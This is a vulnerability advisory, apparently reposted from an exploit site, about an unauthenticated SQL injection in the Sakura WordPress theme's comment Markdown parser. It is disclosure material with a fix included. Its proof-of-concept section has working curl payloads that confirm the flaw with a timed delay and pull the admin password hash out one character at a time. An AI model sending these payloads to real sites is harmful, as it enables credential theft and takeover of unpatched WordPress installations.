Share
## https://sploitus.com/exploit?id=90D1D177-0CB7-518B-832F-B8A088EB0B9F
# CVE-2026-XXXXX
## Unauthenticated SQL Injection in Sakura WordPress Theme via Comment Markdown Parser
---
### Advisory Information
| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Theme |
| **Package/Product** | Sakura WordPress Theme |
| **Affected Versions** | All versions through commit `9a7a597` |
| **Patched Versions** | None |
| **Severity** | **CRITICAL (CVSS 9.8)** |
| **CWE** | CWE-89 (SQL Injection) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Repository** | https://github.com/mashirozx/sakura |
| **Stars** | 3,816 โญ |
---
### Summary
The Sakura WordPress theme contains an unauthenticated SQL injection vulnerability in its Markdown comment parser. Raw, unsanitized comment content is stored in a global variable during the `preprocess_comment` filter and later concatenated directly into a SQL `UPDATE` query without using `$wpdb->prepare()`.
---
### Affected Component
| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Theme |
| **Package** | mashirozx/sakura |
| **Vendor** | mashirozx |
| **Affected Versions** | All |
| **Patched Versions** | None |
| **File** | `functions.php`, lines 1803โ1889 |
---
### Description
The Sakura theme adds Markdown support to WordPress comments via two hooks:
1. **`preprocess_comment`** โ `markdown_parser()` captures raw `$_POST['comment']` content into global `$comment_markdown_content`
2. **`comment_post`** โ `save_markdown_comment()` writes this raw content to the database via unsafe SQL
**Vulnerable code (`functions.php`, lines 1804โ1835):**
```php
// Hook 1: Captures RAW user input before WordPress sanitization
function markdown_parser($incoming_comment) {
global $wpdb, $comment_markdown_content;
// โ Stores raw unsanitized comment content in global variable
$comment_markdown_content = $incoming_comment['comment_content'];
// ... markdown rendering ...
return $incoming_comment;
}
add_filter('preprocess_comment', 'markdown_parser');
// Hook 2: Uses raw content directly in SQL query
function save_markdown_comment($comment_ID, $comment_approved) {
global $wpdb, $comment_markdown_content;
$comment_content = $comment_markdown_content; // โ RAW USER INPUT
// โ Direct string interpolation โ NO $wpdb->prepare()!
$wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content .
"' WHERE comment_ID='" . $comment_ID . "';");
}
add_action('comment_post', 'save_markdown_comment', 10, 2);
```
---
### Proof of Concept
**Environment:** WordPress 6.x with Sakura theme activated, comments enabled.
**Exploit:**
**PoC #1 โ Time-Based Blind SQL Injection (universal):**
```bash
# Confirm vulnerability by inducing 5-second delay via WHERE clause
curl -X POST "http://target/wp-comments-post.php" \
--data "comment=test', comment_ID=SLEEP(5) -- " \
--data "author=Attacker" \
--data "email=attacker@evil.com" \
--data "comment_post_ID=1" \
--data "submit=Post+Comment"
# Response delay of 5+ seconds confirms blind SQL injection
```
**PoC #2 โ Time-Based Blind Data Extraction (credential harvest):**
> **Note:** `$wpdb->query()` uses `mysqli_query()` internally, which does **not** support stacked (multi-statement) queries. Data extraction is performed via time-based blind injection within a single UPDATE statement.
```bash
# Extract admin password hash character by character
# If first char of wp_users.user_pass (ID=1) equals '$', response delays 5s
curl -X POST "http://target/wp-comments-post.php" \
--data "comment=test', comment_ID=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
--data "author=Attacker" \
--data "email=attacker@evil.com" \
--data "comment_post_ID=1" \
--data "submit=Post+Comment"
# 5-second delay = first char matches; iterate over all positions to rebuild full hash
# Full hash can then be cracked offline (WordPress uses phpass MD5)
```
**What happens:**
1. `markdown_parser()` fires on `preprocess_comment` โ stores raw comment in `$comment_markdown_content` (before WordPress sanitization)
2. WordPress sanitizes and inserts the comment into `wp_comments` table
3. `save_markdown_comment()` fires on `comment_post` โ executes the UNSANITIZED content:
**PoC #1 โ Blind confirmation:**
```sql
UPDATE wp_comments SET comment_markdown='test', comment_ID=SLEEP(5) -- ' WHERE comment_ID='123';
```
Result: 5-second delay confirms SQL injection is exploitable.
**PoC #2 โ Credential extraction (iterative):**
```sql
UPDATE wp_comments SET comment_markdown='test', comment_ID=IF(
SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0
) -- ' WHERE comment_ID='123';
```
Result: Attacker iterates character-by-character to extract admin password hash, which can be cracked offline (WordPress uses phpass/MD5).
**Why stacked queries fail:** `$wpdb->query()` internally calls `mysqli_query()`, which does NOT support multiple statements separated by `;`. Time-based blind injection reliably extracts data within a single UPDATE statement.
---
### Impact
| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Extract all WordPress user data, password hashes, emails via subquery exfiltration |
| Integrity | **HIGH** | Extract admin password hash โ crack offline โ full admin access โ modify any content |
| Availability | **HIGH** | Admin access gained via credential chain enables deletion of all site content |
**Attack scenario:**
1. Unauthenticated attacker posts a comment with SQL injection payload
2. Raw payload bypasses WordPress sanitization via the `preprocess_comment` hook
3. SQL injection executes with full database privileges
4. Attacker gains admin access, exfiltrates user data, or destroys the database
---
### Patches
Replace string interpolation with `$wpdb->prepare()`:
```diff
- $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content .
- "' WHERE comment_ID='" . $comment_ID . "';");
+ $wpdb->query($wpdb->prepare(
+ "UPDATE {$wpdb->comments} SET comment_markdown = %s WHERE comment_ID = %d",
+ $comment_content,
+ $comment_ID
+ ));
```
Also use `$wpdb->comments` instead of hardcoded `wp_comments` to support custom table prefixes.
---
### References
| Type | URL |
|------|-----|
| Repository | https://github.com/mashirozx/sakura |
| Vulnerable code | https://github.com/mashirozx/sakura/blob/master/functions.php#L1834 |
| WordPress $wpdb->prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
---
### Verification
Vulnerability confirmed via local code audit on 2026-06-27:
```bash
git clone https://github.com/mashirozx/sakura
cd sakura
# Confirm SQL injection at line 1834:
grep -n "wpdb->query.*UPDATE.*comment_markdown" functions.php
# Output: 1834: $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . "' WHERE comment_ID='" . $comment_ID . "';");
# Confirm NO prepared statements used anywhere:
grep -c "wpdb->prepare" functions.php
# Output: 0
# Confirm raw input source:
grep -n "comment_markdown_content.*incoming_comment" functions.php
# Output: 1818: $comment_markdown_content = $incoming_comment['comment_content'];
# Confirm vulnerable hooks:
grep "preprocess_comment\|comment_post" functions.php
# Output: add_filter('preprocess_comment', 'markdown_parser');
# add_action('comment_post', 'save_markdown_comment', 10, 2);
```
**Verification status: โ
ALL CHECKS PASSED**
---
### Credits
| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |
---
### Timeline
| Date | Event |
|------|-------|
| 2026-06-27 | Vulnerability discovered via source code analysis |
| 2026-06-27 | Local verification โ `git clone` + code audit confirmed |
| 2026-06-27 | Vendor notified via GitHub Security Advisory (private disclosure) |
| TBD | Vendor acknowledgment / response |
| TBD + 90 days | Coordinated public disclosure (standard responsible disclosure window) |
| TBD | CVE ID assigned and advisory published |
---
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H โ 9.8 CRITICAL
AV:N โ Remote over HTTP (anyone can post a comment)
AC:L โ Simple POST request
PR:N โ No authentication (comments are public)
UI:N โ No user interaction
S:U โ Same security context
C:H โ Read any database table
I:H โ Modify any database table
A:H โ DROP/DELETE possible
```